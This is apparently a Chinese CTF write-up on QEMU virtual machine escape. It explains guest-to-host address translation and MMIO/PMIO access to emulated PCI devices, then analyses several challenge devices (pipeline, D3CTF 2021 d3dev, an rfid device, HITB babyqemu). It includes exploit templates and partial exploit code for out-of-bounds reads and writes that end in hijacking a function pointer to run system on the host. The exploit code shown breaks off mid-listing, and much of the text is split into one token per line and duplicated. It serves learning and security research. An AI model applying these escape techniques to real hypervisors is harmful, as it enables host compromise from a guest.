qemu用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备中,漏洞形成一般是修改qemu-system代码,所以漏洞存在于qemu-system文件内。而逃逸就是指利用漏洞从qemu-system模拟的这个小系统逃到主机内,从而在linux主机内达到命令执行的目的。
因为使用qemu-system模式启动之后相当于在linux内又运行了一个小型linux,所以存在两个地址转换问题;从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址。
用户的物理内存实际上是qemu程序mmap出来的,看下面的launsh脚本,-m 1G也就是mmap一块1G的内存
这块内存可以在qemu进程的maps文件下查看,sudo cat /proc/pid/maps
在64位系统内部,虚拟地址由页号和页内偏移组成,我们借用前人的代码来学习一下如何将虚拟地址转换成物理地址。
下面的程序申请了一个buffer,并写入字符串——“Where am I?”,之后打印他的物理地址
将其打包放到qemu系统内,然后进入qemu内部运行该c文件。再用gdb attach到qemu进程,查看mmap的内存。
找到qemu的基地址之后,用字符串的物理地址与基地址相加,即可得到虚拟地址。
PCI 设备都有一个 PCI 配置空间来配置 PCI 设备,其中包含了关于 PCI 设备的特定信息。这些信息一般只需要关注Device ID和Vendor ID即可。
拥有了这些信息即可在qemu系统内部使用lspci命令来找到该设备,从而能够进行交互。交互问题我们后面再细说。
通过kernel提供的sysfs,我们可以直接映射出设备对应的内存,具体方法是打开类似 /sys/devices/pci0000:00/0000:00:04.0/resource0
的文件,并用mmap
将其映射到进程的地址空间,就可以对其进行读写了。这里的设备号0000:00:04.0
是需要事先在/proc/iomem
中看好的。当映射完成后,就可以对这块内存进行读写操作了,内存读写会触发到qemu内设备的mmio处理函数(一般会叫xxxx_mmio_read
/xxxx_mmio_write
),传入的参数是写入的地址偏移和具体的值。后面会放出一个exp模板。
也可以通过使用/dev/mem文件来映射物理内存。
内存和 I/O 设备共享同一个地址空间。 MMIO 是应用得最为广泛的一种 I/O 方法,它使用相同的地址总线来处理内存和 I/O 设备,I/O 设备的内存和寄存器被映射到与之相关联的地址。当 CPU 访问某个内存地址时,它可能是物理内存,也可以是某个 I/O 设备的内存,用于访问内存的 CPU 指令也可来访问 I/O 设备。每个 I/O 设备监视 CPU 的地址总线,一旦 CPU 访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳 I/O 设备,CPU 必须预留给 I/O 一个地址区域,该地址区域不能给物理内存使用。
在 PMIO 中,内存和 I/O 设备有各自的地址空间。 端口映射 I/O 通常使用一种特殊的 CPU 指令,专门执行 I/O 操作。在 Intel 的微处理器中,使用的指令是 IN 和 OUT。这些指令可以读/写 1,2,4 个字节(例如:outb, outw, outl)到 IO 设备上。I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在 CPU 物理接口上增加一个 I/O 引脚,要么增加一条专用的 I/O 总线。由于 I/O 地址空间与内存地址空间是隔离的,所以有时将 PMIO 称为被隔离的 IO(Isolated I/O)。在linux中可以通过iopl和ioperm这两个系统调用对port的权能进行设置。
通过resource0来实现,需要根据需要来修改函数参数是uint64_t还是uint32_t亦或者是char
mmap参数PROT_READ(1) | PROT_WRITE(2)可读写,MAP_SHARED共享的内存。
为了方便调试,我写了一个解压和压缩脚本,如下
该脚本的作用是将文件系统解压在新建的rootfs文件夹内,再将写好的exp.c放到解压的文件系统的root目录下,将其编译成可执行文件,再重打包回rootfs.cpio,最后删掉rootfs文件夹
进行调试时,先进行打包操作,然后运行launch.sh文件,再起一个终端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system进程之上。可以用ps -aux | grep qemu来获得进程号。
在gdb内下断点,就可以愉快的调试了。下面会有介绍
在了解了以上的知识之后,就可以进行实操。
先观察启动脚本launch.sh,先删掉timeout,否则超时就退出了。
由参数"-device pipeline"得我们所主要逆向的部分是在pipeline*,将qemu-system-x86_64放入ida,由于存在符号,所以直接在函数栏里搜pipeline.
漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write这些对内存进行读写操作的函数内。
发现根本看不懂,都和opaque这个变量有关,这肯定是结构体,而结构体名字一般和函数名pipeline有相似,我们来转变一下,方法效果如下:
发现一个很重要的结构体贯穿四个读写函数;
逆向结果如下,总体就是从EncPipeLine或DecPipeLine内读取数据,没有越界读,最后return处有个"8",因为
EncPipeLine或DecPipeLine的data变量在偏移位4处,然后v4为结构体处-4。需要静心去逆。
与pipeline_mmio_read函数大同小异,漏洞并不在这里,功能是将val写入EncPipeLine或DecPipeLine内。
addr为0返回idx,为4返回size。
猜测漏洞就在这里了,因为巨长。
addr为0返回idx,addr是4写入size
addr为12时,看到了encode,在pipeline_instance_init函数中发现,好像是base64加密的实现。并且会将加密后的数据放入DecPipeLine结构体内,同理
addr为16时,就是解密,会将解密后的数据放入EncPipeLine结构体的data变量内
以上就是函数基本功能
因为qemu类型的题目大部分都是越界读写的问题,所以我们把注意力着重放在size上。我把注释写到下面的代码内。
使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff为最大值:
下面测试漏洞会不会覆盖掉size位
看效果
gdb attach之后,将断点下到pipeline_mmio_write,就可以愉快的c了
执行pmio_write(16,0)之前;
执行pmio_write(16,0)之后,看到decPipe[3]的size被修改为了0xff,溢出达到,可以进行越界读写。
既然已经完成了size位的劫持,再通过mmio_read泄露encode函数地址,修改encode指针为system,再pima_write(12,0)即可命令执行
效果如下:
这题是D3CTF-2021,需要使用ubuntu20的环境进行操作,ubuntu18循环报错,ubuntu22没试过。第一题叙述较为详细,后面例题我便只分析漏洞处和整体代码。
该题目也是有mmio和pmio两种访存方式,可以套用上面的exp模板,然后分析代码喽~~~
直接开幕雷击,看到了一堆什么异或之类的,问了下re师傅,是tea加密解密。一开始我是不知道这里是有越界读的,后面会分析道,那些异或是tea decode,我们获得的数据会经过decode,若我们想得到原始值,需要对其进行encode。
和read函数类似,若mmio_write_part为1,则对数据进行加密,若为0,则进行写入
很简单,获得opaque结构体的数据
addr为8时,对seek进行赋值;
addr为0x1c时,执行函数;
addr为4时,将key[]清0;
addr为0时,设置memory_mode.
由d3dev_pmio_write函数得知可为opaque->seek赋值为0x100,blocks有0x800字节,d3dev_mmio_read内的
data = opaque->blocks[opaque->seek + (addr >> 3)],此处的blocks是通过index的方式进行访存,而blocks又是dq的数据(8 bytes),所以seek的0x100可以访问到的内存就是0-0x800,而通过addr进行越界读;
d3dev_mmio_write也是如此,可以越界写,我们就有了任意读写d3devState这个结构体附近的内存的"权利".
在pmio_write里有执行system的机会,将opaque->rand_r覆盖为system,opaque->r_seed覆盖为"/bin/sh"
首先查看launch.sh脚本
设备是rfid,去ida内函数栏搜索rfid,并没有找到,是去掉符号表
这题没有符号表,所以不能在函数栏内搜索,换一个思路去搜索字符串rfid来寻找相应函数
下面的便是rfid_class_init
想要找到mmio或者pmio对应的write/read函数,需要定位到 xxxxxxx_realize函数,例如d3dev这题,定位到了pci_d3dev_realize函数,发现&d3dev_mmio_ops和&d3dev_pmio_ops,跟进去发现有实现方法。而pci_d3dev_realize在d3dev_class_init内引用
由以上分析可得,sub_5713A8函数内的sub_571043为realize函数
点进去off_FE9720,发现了mmio的实现。
比对字符串,然后执行命令,漏洞肯定在另一个函数内了,看到这里应该就有了具体思路,劫持byte_122FFE0为"wwssadadBABA",复写command变量即可
write函数相当于一个菜单,以((addr >> 20) & 0xF)作为菜单选项,将字符传递于byte_122FFE0,当result为6时,将val赋值给command.由于存在移位等问题,exp的mmio_write/mmio_read函数的实现需要变化一下.
本题没有符号表,为调试增加了比较大的困难,但是由于题目比较简单,不调试也可以做出来,为了进行学习,我来尝试一下调试。应该就和普通的pwn题一样调试,用b *$rebase(addr)下断点
测试环境ubuntu20可以,ubnutu18不行
下好了断点,c执行,然后运行exp,便可以愉快的观察程序运行
效果如图:
直接扔ida,有符号✌️,搜索一下只发现了mmio_read/mmio_write,然后恢复一下结构体;
查看一下主要操作的结构体
返回各个结构体内的数据,不存在漏洞
正常对HitbState字段写入,但是有一个函数调用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
在hitb_mmio_write内调用了timer_mod,qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用
函数根据cmd来选择不同分支,cmd最低位必须为1;
漏洞在hitb_dma_timer内的cpu_physical_memory_rw函数,dma_buf[]内的索引可控,就造成可以越界读写;
翻看前面的结构体发现,可以越界读enc地址,进行泄露,再将计算出的system@plt写入enc内,将"cat flag"写入dma.buf
参考链接:
https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/09/qemu/
https://www.anquanke.com/post/id/254906#h3-5
https://www.giantbranch.cn/2019/07/17/VM%20escape%20%E4%B9%8B%20QEMU%20Case%20Study/
https://www.giantbranch.cn/2020/01/02/CTF%20QEMU%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E9%80%83%E9%80%B8%E4%B9%8BHITB-GSEC-2017-babyqemu/
题目下载地址
链接: https://pan.baidu.com/s/1vVjJ6ohHGaZTAVfD68OrlQ 提取码: eeee
.
/
qemu
-
system
-
x86_64 \
-
m
1G
\
-
initrd .
/
rootfs.cpio \
-
nographic \
-
kernel .
/
vmlinuz
-
5.0
.
5
-
generic \
-
L pc
-
bios
/
\
-
append
"priority=low console=ttyS0"
\
-
monitor
/
dev
/
null \
-
device pipeline
.
/
qemu
-
system
-
x86_64 \
-
m
1G
\
-
initrd .
/
rootfs.cpio \
-
nographic \
-
kernel .
/
vmlinuz
-
5.0
.
5
-
generic \
-
L pc
-
bios
/
\
-
append
"priority=low console=ttyS0"
\
-
monitor
/
dev
/
null \
-
device pipeline
int
fd;
/
/
获取页内偏移
uint32_t page_offset(uint32_t addr)
{
/
/
addr &
0xfff
return
addr & ((
1
<< PAGE_SHIFT)
-
1
);
}
uint64_t gva_to_gfn(void
*
addr)
{
uint64_t pme, gfn;
size_t offset;
printf(
"pfn_item_offset : %p\n"
, (uintptr_t)addr >>
9
);
offset
=
((uintptr_t)addr >>
9
) & ~
7
;
/
/
/
/
下面是网上其他人的代码,只是为了理解上面的代码
/
/
一开始除以
0x1000
(getpagesize
=
0x1000
,
4k
对齐,而且本来低
12
位就是页内索引,需要去掉),即除以
2
*
*
12
, 这就获取了页号了,
/
/
pagemap中一个地址
64
位,即
8
字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以
8
去找到对应的偏移从而获得对应的物理地址
/
/
最终 vir
/
2
^
12
*
8
=
(vir
/
2
^
9
) & ~
7
/
/
这跟上面的右移
9
正好对应,但是为什么要 & ~
7
,因为你 vir >>
12
<<
3
, 跟vir >>
9
是有区别的,vir >>
12
<<
3
低
3
位肯定是
0
,所以通过& ~
7
将低
3
位置
0
/
/
int
page_size
=
getpagesize();
/
/
unsigned
long
vir_page_idx
=
vir
/
page_size;
/
/
unsigned
long
pfn_item_offset
=
vir_page_idx
*
sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme,
8
);
/
/
确保页面存在——page
is
present.
if
(!(pme & PFN_PRESENT))
return
-
1
;
/
/
physical frame number
gfn
=
pme & PFN_PFN;
return
gfn;
}
uint64_t gva_to_gpa(void
*
addr)
{
uint64_t gfn
=
gva_to_gfn(addr);
assert
(gfn !
=
-
1
);
return
(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int
main()
{
uint8_t
*
ptr;
uint64_t ptr_mem;
fd
=
open
(
"/proc/self/pagemap"
, O_RDONLY);
if
(fd <
0
) {
perror(
"open"
);
exit(
1
);
}
ptr
=
malloc(
256
);
strcpy(ptr,
"Where am I?"
);
printf(
"%s\n"
, ptr);
ptr_mem
=
gva_to_gpa(ptr);
printf(
"Your physical address is at 0x%"
PRIx64
"\n"
, ptr_mem);
getchar();
return
0
;
}
int
fd;
/
/
获取页内偏移
uint32_t page_offset(uint32_t addr)
{
/
/
addr &
0xfff
return
addr & ((
1
<< PAGE_SHIFT)
-
1
);
}
uint64_t gva_to_gfn(void
*
addr)
{
uint64_t pme, gfn;
size_t offset;
printf(
"pfn_item_offset : %p\n"
, (uintptr_t)addr >>
9
);
offset
=
((uintptr_t)addr >>
9
) & ~
7
;
/
/
/
/
下面是网上其他人的代码,只是为了理解上面的代码
/
/
一开始除以
0x1000
(getpagesize
=
0x1000
,
4k
对齐,而且本来低
12
位就是页内索引,需要去掉),即除以
2
*
*
12
, 这就获取了页号了,
/
/
pagemap中一个地址
64
位,即
8
字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以
8
去找到对应的偏移从而获得对应的物理地址
/
/
最终 vir
/
2
^
12
*
8
=
(vir
/
2
^
9
) & ~
7
/
/
这跟上面的右移
9
正好对应,但是为什么要 & ~
7
,因为你 vir >>
12
<<
3
, 跟vir >>
9
是有区别的,vir >>
12
<<
3
低
3
位肯定是
0
,所以通过& ~
7
将低
3
位置
0
/
/
int
page_size
=
getpagesize();
/
/
unsigned
long
vir_page_idx
=
vir
/
page_size;
/
/
unsigned
long
pfn_item_offset
=
vir_page_idx
*
sizeof(uint64_t);
lseek(fd, offset, SEEK_SET);
read(fd, &pme,
8
);
/
/
确保页面存在——page
is
present.
if
(!(pme & PFN_PRESENT))
return
-
1
;
/
/
physical frame number
gfn
=
pme & PFN_PFN;
return
gfn;
}
uint64_t gva_to_gpa(void
*
addr)
{
uint64_t gfn
=
gva_to_gfn(addr);
assert
(gfn !
=
-
1
);
return
(gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}
int
main()
{
uint8_t
*
ptr;
uint64_t ptr_mem;
fd
=
open
(
"/proc/self/pagemap"
, O_RDONLY);
if
(fd <
0
) {
perror(
"open"
);
exit(
1
);
}
ptr
=
malloc(
256
);
strcpy(ptr,
"Where am I?"
);
printf(
"%s\n"
, ptr);
ptr_mem
=
gva_to_gpa(ptr);
printf(
"Your physical address is at 0x%"
PRIx64
"\n"
, ptr_mem);
getchar();
return
0
;
}
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
, O_RDWR | O_SYNC);
void
*
mmio
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
, O_RDWR | O_SYNC);
void
*
mmio
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
void
*
mmio
=
mmap(
0
,
0x1000
,PROT_READ|PROT_WRITE,MAP_SHARED,
open
(
"/dev/mem"
,
2
),
0xfea00000
);
void
*
mmio
=
mmap(
0
,
0x1000
,PROT_READ|PROT_WRITE,MAP_SHARED,
open
(
"/dev/mem"
,
2
),
0xfea00000
);
物理内存可由
char
*
mmio_mem;
void mmio_write(uint64_t addr, char value) {
*
(char
*
)(mmio_mem
+
addr)
=
value;
}
uint64_t mmio_read(uint64_t addr) {
return
*
((char
*
)(mmio_mem
+
addr));
}
int
main()
{
/
/
init
int
fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
,O_RDWR | O_SYNC);
if
(fd
=
=
-
1
)
{
perror(
"mmio_fd open failed"
);
exit(
-
1
);
}
mmio_mem
=
mmap(
0
,
0x1000
,PROT_READ | PROT_WRITE, MAP_SHARED,fd,
0
);
if
(mmio_mem
=
=
MAP_FAILED)
{
perror(
"mmap mmio_mem failed"
);
exit(
-
1
);
}
}
char
*
mmio_mem;
void mmio_write(uint64_t addr, char value) {
*
(char
*
)(mmio_mem
+
addr)
=
value;
}
uint64_t mmio_read(uint64_t addr) {
return
*
((char
*
)(mmio_mem
+
addr));
}
int
main()
{
/
/
init
int
fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
,O_RDWR | O_SYNC);
if
(fd
=
=
-
1
)
{
perror(
"mmio_fd open failed"
);
exit(
-
1
);
}
mmio_mem
=
mmap(
0
,
0x1000
,PROT_READ | PROT_WRITE, MAP_SHARED,fd,
0
);
if
(mmio_mem
=
=
MAP_FAILED)
{
perror(
"mmap mmio_mem failed"
);
exit(
-
1
);
}
}
char
*
mmio_mem;
void mmio_write(uint64_t addr, char value) {
*
(char
*
)(mmio_mem
+
addr)
=
value;
}
uint64_t mmio_read(uint64_t addr) {
return
*
((char
*
)(mmio_mem
+
addr));
}
int
main()
{
/
/
init
mmio_mem
=
mmap(
0
,
0x1000
,PROT_READ | PROT_WRITE, MAP_SHARED,
open
(
"/dev/mem"
,
2
),
0xfea00000
);
/
/
0xfea00000
是通过cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
04.0
/
resource来获得
/
/
0x00000000fea00000
0x00000000feafffff
0x0000000000040200
if
(mmio_mem
=
=
MAP_FAILED)
{
perror(
"mmap mmio_mem failed"
);
exit(
-
1
);
}
}
char
*
mmio_mem;
void mmio_write(uint64_t addr, char value) {
*
(char
*
)(mmio_mem
+
addr)
=
value;
}
uint64_t mmio_read(uint64_t addr) {
return
*
((char
*
)(mmio_mem
+
addr));
}
int
main()
{
/
/
init
mmio_mem
=
mmap(
0
,
0x1000
,PROT_READ | PROT_WRITE, MAP_SHARED,
open
(
"/dev/mem"
,
2
),
0xfea00000
);
/
/
0xfea00000
是通过cat
/
sys
/
devices
/
pci0000\:
00
/
0000
\:
00
\:
04.0
/
resource来获得
/
/
0x00000000fea00000
0x00000000feafffff
0x0000000000040200
if
(mmio_mem
=
=
MAP_FAILED)
{
perror(
"mmap mmio_mem failed"
);
exit(
-
1
);
}
}
char
*
mmio_mem;
int
pmio_base
=
0xc040
;
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base
+
addr);
}
uint64_t pmio_read(uint32_t addr)
{
return
inl(pmio_base
+
addr);
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
if
(iopl(
3
) !
=
0
){
perror(
"I/O permission is not enough"
);
exit(
-
1
);
}
}
char
*
mmio_mem;
int
pmio_base
=
0xc040
;
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base
+
addr);
}
uint64_t pmio_read(uint32_t addr)
{
return
inl(pmio_base
+
addr);
}
int
main(
int
argc, char
*
argv[])
{
/
/
Open
and
map
I
/
O memory
for
the strng device
if
(iopl(
3
) !
=
0
){
perror(
"I/O permission is not enough"
);
exit(
-
1
);
}
}
mkdir .
/
rootfs
cd .
/
rootfs
cpio
-
idmv < ..
/
rootfs.cpio
cp ..
/
exp.c .
/
root
gcc
-
o .
/
root
/
exp
-
static .
/
root
/
exp.c
find . | cpio
-
o
-
-
format
=
newc > ..
/
rootfs.cpio
cd ..
rm
-
rf .
/
rootfs
mkdir .
/
rootfs
cd .
/
rootfs
cpio
-
idmv < ..
/
rootfs.cpio
cp ..
/
exp.c .
/
root
gcc
-
o .
/
root
/
exp
-
static .
/
root
/
exp.c
find . | cpio
-
o
-
-
format
=
newc > ..
/
rootfs.cpio
cd ..
rm
-
rf .
/
rootfs
.
/
qemu
-
system
-
x86_64 \
-
m
1G
\
-
initrd .
/
rootfs.cpio \
-
nographic \
-
kernel .
/
vmlinuz
-
5.0
.
5
-
generic \
-
L pc
-
bios
/
\
-
append
"priority=low console=ttyS0"
\
-
monitor
/
dev
/
null \
-
device pipeline
.
/
qemu
-
system
-
x86_64 \
-
m
1G
\
-
initrd .
/
rootfs.cpio \
-
nographic \
-
kernel .
/
vmlinuz
-
5.0
.
5
-
generic \
-
L pc
-
bios
/
\
-
append
"priority=low console=ttyS0"
\
-
monitor
/
dev
/
null \
-
device pipeline
void __cdecl pipeline_pmio_write(PipeLineState
*
opaque, hwaddr addr, uint64_t val, unsigned
int
size)
{
unsigned
int
sizea;
/
/
[rsp
+
4h
] [rbp
-
4Ch
]
unsigned
int
sizeb;
/
/
[rsp
+
4h
] [rbp
-
4Ch
]
int
pIdx;
/
/
[rsp
+
28h
] [rbp
-
28h
]
int
pIdxa;
/
/
[rsp
+
28h
] [rbp
-
28h
]
int
pIdxb;
/
/
[rsp
+
28h
] [rbp
-
28h
]
int
useSize;
/
/
[rsp
+
2Ch
] [rbp
-
24h
]
int
ret_s;
/
/
[rsp
+
34h
] [rbp
-
1Ch
]
int
ret_sa;
/
/
[rsp
+
34h
] [rbp
-
1Ch
]
char
*
iData;
/
/
[rsp
+
40h
] [rbp
-
10h
]
if
( size
=
=
4
)
{
if
( addr
=
=
4
)
/
/
addr
=
4
{
pIdx
=
opaque
-
>pIdx;
if
( pIdx <
=
7
)
{
if
( pIdx >
3
)
{
if
( val <
=
0x40
)
*
&opaque
-
>encPipe[
1
].data[
0x44
*
pIdx
+
12
]
=
val;
}
else
if
( val <
=
0x5C
)
{
opaque
-
>encPipe[pIdx].size
=
val;
}
}
}
else
if
( addr >
4
)
{
if
( addr
=
=
12
)
/
/
addr
=
12
{
pIdxa
=
opaque
-
>pIdx;
if
( pIdxa <
=
7
)
{
if
( pIdxa <
=
3
)
pIdxa
+
=
4
;
/
/
放入解密结构体内
sizea
=
*
&opaque
-
>encPipe[
1
].data[
0x44
*
pIdxa
+
12
];
/
/
if
( sizea <
=
0x40
&& (
4
*
((sizea
+
2
)
/
3
)
+
1
) <
=
0x5C
)
/
/
对size进行判断,不存在溢出
{
ret_s
=
opaque
-
>encode(
/
/
encode
&opaque
-
>encPipe[
1
].data[
0x44
*
pIdxa
+
16
],
/
/
加密
&opaque
-
>mmio.size
+
0x60
*
pIdxa
+
8
,
sizea);
if
( ret_s !
=
-
1
)
*
(&opaque
-
>mmio.size
+
24
*
pIdxa
+
1
)
=
ret_s;
}
}
}
else
if
( addr
=
=
16
)
{
pIdxb
=
opaque
-
>pIdx;
if
( pIdxb <
=
7
)
{
if
( pIdxb >
3
)
pIdxb
-
=
4
;
sizeb
=
opaque
-
>encPipe[pIdxb].size;
iData
=
opaque
-
>encPipe[pIdxb].data;
if
( sizeb <
=
0x5C
)
{
if
( sizeb )
iData[sizeb]
=
0
;
useSize
=
opaque
-
>strlen(iData);
if
(
3
*
(useSize
/
4
)
+
1
<
=
64
)
/
/
84
,
85
,
86
,
87
{
/
/
可以看到decode的size参数是与strlen(iData)有关,即使上面的
if
判断限制了useSize,也可以使useSize是
84
-
87
四个数字。
ret_sa
=
opaque
-
>decode(iData, opaque
-
>decPipe[pIdxb].data, useSize);
/
/
解密
if
( ret_sa !
=
-
1
)
opaque
-
>decPipe[pIdxb].size
=
ret_sa;
}
}
}
}
}
else
if
( !addr )
{
opaque
-
>pIdx
=
val;
}
}
}
void __cdecl pipeline_pmio_write(PipeLineState
*
opaque, hwaddr addr, uint64_t val, unsigned
int
size)
{
unsigned
int
sizea;
/
/
[rsp
+
4h
] [rbp
-
4Ch
]
unsigned
int
sizeb;
/
/
[rsp
+
4h
] [rbp
-
4Ch
]
int
pIdx;
/
/
[rsp
+
28h
] [rbp
-
28h
]
int
pIdxa;
/
/
[rsp
+
28h
] [rbp
-
28h
]
int
pIdxb;
/
/
[rsp
+
28h
] [rbp
-
28h
]
int
useSize;
/
/
[rsp
+
2Ch
] [rbp
-
24h
]
int
ret_s;
/
/
[rsp
+
34h
] [rbp
-
1Ch
]
int
ret_sa;
/
/
[rsp
+
34h
] [rbp
-
1Ch
]
char
*
iData;
/
/
[rsp
+
40h
] [rbp
-
10h
]
if
( size
=
=
4
)
{
if
( addr
=
=
4
)
/
/
addr
=
4
{
pIdx
=
opaque
-
>pIdx;
if
( pIdx <
=
7
)
{
if
( pIdx >
3
)
{
if
( val <
=
0x40
)
*
&opaque
-
>encPipe[
1
].data[
0x44
*
pIdx
+
12
]
=
val;
}
else
if
( val <
=
0x5C
)
{
opaque
-
>encPipe[pIdx].size
=
val;
}
}
}
else
if
( addr >
4
)
{
if
( addr
=
=
12
)
/
/
addr
=
12
{
pIdxa
=
opaque
-
>pIdx;
if
( pIdxa <
=
7
)
{
if
( pIdxa <
=
3
)
pIdxa
+
=
4
;
/
/
放入解密结构体内
sizea
=
*
&opaque
-
>encPipe[
1
].data[
0x44
*
pIdxa
+
12
];
/
/
if
( sizea <
=
0x40
&& (
4
*
((sizea
+
2
)
/
3
)
+
1
) <
=
0x5C
)
/
/
对size进行判断,不存在溢出
{
ret_s
=
opaque
-
>encode(
/
/
encode
&opaque
-
>encPipe[
1
].data[
0x44
*
pIdxa
+
16
],
/
/
加密
&opaque
-
>mmio.size
+
0x60
*
pIdxa
+
8
,
sizea);
if
( ret_s !
=
-
1
)
*
(&opaque
-
>mmio.size
+
24
*
pIdxa
+
1
)
=
ret_s;
}
}
}
else
if
( addr
=
=
16
)
{
pIdxb
=
opaque
-
>pIdx;
if
( pIdxb <
=
7
)
{
if
( pIdxb >
3
)
pIdxb
-
=
4
;
sizeb
=
opaque
-
>encPipe[pIdxb].size;
iData
=
opaque
-
>encPipe[pIdxb].data;
if
( sizeb <
=
0x5C
)
{
if
( sizeb )
iData[sizeb]
=
0
;
useSize
=
opaque
-
>strlen(iData);
if
(
3
*
(useSize
/
4
)
+
1
<
=
64
)
/
/
84
,
85
,
86
,
87
{
/
/
可以看到decode的size参数是与strlen(iData)有关,即使上面的
if
判断限制了useSize,也可以使useSize是
84
-
87
四个数字。
ret_sa
=
opaque
-
>decode(iData, opaque
-
>decPipe[pIdxb].data, useSize);
/
/
解密
if
( ret_sa !
=
-
1
)
opaque
-
>decPipe[pIdxb].size
=
ret_sa;
}
}
}
}
}
else
if
( !addr )
{
opaque
-
>pIdx
=
val;
}
}
}
>>>
from
pwn
import
*
>>> b64e(b
'\xff\xff\xff'
)
'////'
>>>
from
pwn
import
*
>>> b64e(b
'\xff\xff\xff'
)
'////'
void
*
mmio;
int
port_base
=
0xc040
;
void pmio_write(
int
port,
int
val){ outl(val, port_base
+
port); }
void mmio_write(uint64_t addr, char value){
*
(char
*
)(mmio
+
addr)
=
value;}
int
pmio_read(
int
port) {
return
inl(port_base
+
port); }
char mmio_read(uint64_t addr){
return
*
(char
*
)(mmio
+
addr); }
void write_io(
int
idx,
int
size,
int
offset, char
*
data){
pmio_write(
0
,idx); pmio_write(
4
,size);
for
(
int
i
=
0
;i<strlen(data);i
+
+
) { mmio_write(i
+
offset,data[i]); }
}
int
main(){
/
/
init mmio
and
pmio
iopl(
3
);
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
, O_RDWR | O_SYNC);
mmio
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
/
/
write
'/'
*
87
to block
2
char data[
100
];
memset(data,
0
,
100
);
memset(data,
'/'
,
87
);
write_io(
2
,
0x5c
,
0
,data);
/
/
decode时将在encPipe[
2
]的数据解密后放到decPipe[
2
],若能溢出,则decPipe[
3
]的size位为
0xff
pmio_write(
16
,
0
);
return
0
;
}
void
*
mmio;
int
port_base
=
0xc040
;
void pmio_write(
int
port,
int
val){ outl(val, port_base
+
port); }
void mmio_write(uint64_t addr, char value){
*
(char
*
)(mmio
+
addr)
=
value;}
int
pmio_read(
int
port) {
return
inl(port_base
+
port); }
char mmio_read(uint64_t addr){
return
*
(char
*
)(mmio
+
addr); }
void write_io(
int
idx,
int
size,
int
offset, char
*
data){
pmio_write(
0
,idx); pmio_write(
4
,size);
for
(
int
i
=
0
;i<strlen(data);i
+
+
) { mmio_write(i
+
offset,data[i]); }
}
int
main(){
/
/
init mmio
and
pmio
iopl(
3
);
int
mmio_fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
, O_RDWR | O_SYNC);
mmio
=
mmap(
0
,
0x1000
, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,
0
);
/
/
write
'/'
*
87
to block
2
char data[
100
];
memset(data,
0
,
100
);
memset(data,
'/'
,
87
);
write_io(
2
,
0x5c
,
0
,data);
/
/
decode时将在encPipe[
2
]的数据解密后放到decPipe[
2
],若能溢出,则decPipe[
3
]的size位为
0xff
pmio_write(
16
,
0
);
return
0
;
}
char
*
mmio_mem;
int
pmio_base
=
0xc040
;
void mmio_write(uint64_t addr, char value) {
*
(char
*
)(mmio_mem
+
addr)
=
value;
}
uint64_t mmio_read(uint64_t addr) {
return
*
((char
*
)(mmio_mem
+
addr));
}
void pmio_write(uint32_t addr, uint32_t value)
{
outl(value, pmio_base
+
addr);
}
uint64_t pmio_read(uint32_t addr)
{
return
inl(pmio_base
+
addr);
}
uint64_t write_io(
int
idx,
int
size,
int
addr,char
*
data){
pmio_write(
0
,idx);
/
/
get idx rsi,rdx
pmio_write(
4
,size);
/
/
set
size rsi,rdx
for
(
int
i
=
0
;i<strlen(data);i
+
+
)
{
mmio_write(addr
+
i,data[i]);
}
}
uint64_t read_io(
int
idx,
int
size,
int
addr,char
*
data){
pmio_write(
0
,idx);
for
(
int
i
=
0
;i<size;i
+
+
)
{
data[i]
=
mmio_read(addr
+
i);
}
}
int
main()
{
/
/
init
int
fd
=
open
(
"/sys/devices/pci0000:00/0000:00:04.0/resource0"
,O_RDWR | O_SYNC);
mmio_mem
=
mmap(
0
,
0x1000
,PROT_READ | PROT_WRITE, MAP_SHARED,fd,
0
);
iopl(
3
);
/
/
char dedata[]
=
"ZWVlZQ=="
;
/
/
"eHVhbnh1YW4="
;
/
/
char data[
100
]
=
{
0
};
/
/
write_io(
2
,
0x5c
,
0
,dedata);
/
/
idx,size,addr,data
/
/
pmio_write(
16
,
0
);
/
/
/
/
read_io(
6
,
4
,
0
,data);
/
/
printf(
"[+] %s\n"
,data);
char data[
100
]
=
{
0
};
memset(data,
0
,
100
);
memset(data,
'/'
,
87
);
write_io(
2
,
0x5c
,
0
,data);
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
pmio_write(
16
,
0
);
/
/
decode
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
/
char leak[
16
];
read_io(
7
,
8
,
0x44
,leak);
/
/
/
/
/
/
